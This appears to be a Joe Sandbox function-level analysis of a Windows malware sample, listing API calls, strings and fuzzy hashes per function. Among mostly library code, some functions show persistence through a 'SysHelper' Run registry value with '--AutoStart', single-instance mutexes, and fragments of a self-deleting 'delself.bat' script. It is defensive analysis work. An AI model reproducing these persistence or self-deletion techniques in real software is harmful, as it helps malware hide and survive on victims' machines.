Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Function 004329EC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00424266,?,?,?,00000001), ref: 004329F1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 004329FA

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction ID: d7915fe9b98f2e2675b1eb18c11ae3c40c3bb41b36f5f7d781b256b54fe46c91
Opcode Fuzzy Hash: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction Fuzzy Hash: A7B09271044208ABDA802B93EC59F883F28EB04A62F084022F60D444628F6254508E99

Function 004329BB Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,00431DA6,00431D5B), ref: 004329C1

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction ID: cc44753b31e70f30ed06b04cde14f86973f8491ae5a0d649e7a5859f7922213d
Opcode Fuzzy Hash: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction Fuzzy Hash: 69A0113000020CAB8A002B83EC088883F2CEA002A0B088022F80C008228B22A8208E88

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
"if exist ", xrefs: 00412648
@echo off:trydel ", xrefs: 0041262A
" goto try, xrefs: 00412666
D, xrefs: 00412720
del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
TEMP, xrefs: 004125DF
delself.bat, xrefs: 0041261C

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 00427B21 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(00674F20), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Strings

Og, xrefs: 00427B5A, 00427B7E, 00427B90
Lg, xrefs: 00427BA9

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: Og$Lg
API String ID: 3064303923-3948995700
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
, xrefs: 00463A90
-----END , xrefs: 0046382F, 00463940, 004639E4

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
